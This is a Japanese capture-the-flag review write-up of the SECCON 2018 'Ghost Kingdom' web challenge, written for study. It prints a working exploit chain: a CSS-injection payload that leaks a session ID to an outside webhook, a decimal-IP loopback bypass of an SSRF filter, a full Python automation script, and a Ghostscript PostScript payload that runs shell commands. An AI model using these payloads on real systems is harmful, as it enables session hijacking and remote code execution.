SECCON CTF 2018 Online Ghost Kingdom 復習
SECCON CTF 2018 Online Ghost Kingdom 復習
https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。
問題
http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOP
と表示される。
GO TO TOP
のリンクから問題の脆弱性があるサービスに接続できる。
サービス
ログインするとMessage to admin
, Take a screenshot
, Upload image
の3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。
以下に各機能の簡単な説明。
Login
ログインはGETにより行われる、普通はPOSTが使われる。
ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。
URLを通じてローカルネットワークから各機能を使わせるのに使った。
Message to admin
Normal
とEmergency
の2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。
Previewボタンを押すとメッセージのプレビューが表示される。
Normal
では何もないが、Emergency
だと色が付くようになっている。
Previewボタンでの通信を見ると、css
というパラメータが使われているのが分かる。
値の末尾を見ると=
が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。
CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors
これを利用してある属性の値をリークさせる。
メッセージ送信の通信を見ると、hiddenパラメータとしてcsrf
という値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrf
に設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。
Take a screenshot
URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。
この機能とGETによるログインを利用して、サーバからログインしたりさせられる。
Upload image
* Only for users logged in from the local network
と表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。
最終的にこの機能からコマンド実行をする。
解き方
まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。
そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。
セッションハイジャック
セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタとcsrf
にセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。
input[name=<attr-name>][value$="tail"] { color: green; }
で、inputタグの属性<attr-name>
の値の末尾がtail
であるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }
のようなCSSをMessage to admin
で渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。
Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2
これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。
URLにhttp://localhost
のように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=pass
みたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login
スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
このIDをcookieのCGISESSID
に設定してやればアップロード機能が使えるようになる。
セッションIDの特定に使ったスクリプト。
import base64 import requests import time host = 'http://ghostkingdom.pwn.seccon.jp/' own_host = '<webhookinbox url>' def login(session): return session.get( host, params={"user": "tkgsytest", "pass": "seccon", 'action': 'login'}) def take_sshot(session, url): print(url) time.sleep(31) return session.get(host, params={"action": "sshot2", "url": url}) def login_at_local(session): url = 'http://2130706433/?user=<username>&pass=<password>&action=login' return take_sshot(session, url) def send_msg_at_local(session, css): template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}' enc_css = base64.b64encode(css) return take_sshot(session, template.format(enc_css)) def get_injection_css(known_tails): temp1 = 'input[name=csrf][value$="{}{}"]' temp2 = 'background: url("{}{}");' payload = '' for i in range(16): trial = hex(i)[2] payload += temp1.format(trial, known_tails) payload += " { " payload += temp2.format(own_host, trial) payload += " } " print(payload) return payload def search_session_id(session, known_tails): return send_msg_at_local(session, get_injection_css(known_tails)) if __name__ == '__main__': known_sid = '' session = requests.Session() login(session) login_at_local(session) for i in range(22 - len(known_sid)): search_session_id(session, known_sid) leaked = raw_input("> ") known_sid = leaked + known_sid print(known_sid)
webhookinboxを眺めながらヒットした文字を入力すれば最終的なセッションIDを出力してくれる。
30秒の待機はスクリーンショットが30秒以上の間隔を開けないと使えなかったから。
Exploit
画像のアップロードでどうすればいいのかは問題の名前から察しがついた。
TWCTFでも出てた気がするけど、ghostscript
の脆弱性を使えばいい、PoCのコードがそのまま動く。
以下のコードを脆弱性のあるghostscript
が読み込めばecho test
が実行されることになる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%echo test) currentdevice putdeviceprops
このコードを適当な名前(exploit.eps
とか)で保存して画像としてアップロードしてやると、コマンドの実行結果が返ってくる。
あとは問題のリンクの最初にあったディレクトリ以下をls
してフラグを表示してやればいい。
この脆弱性についてはCVE-2018-17961とかで調べたり、前に調べたのがhttps://hiziriai.hatenablog.com/entry/2018/09/06/161559にある。合ってるかは知らないけどな。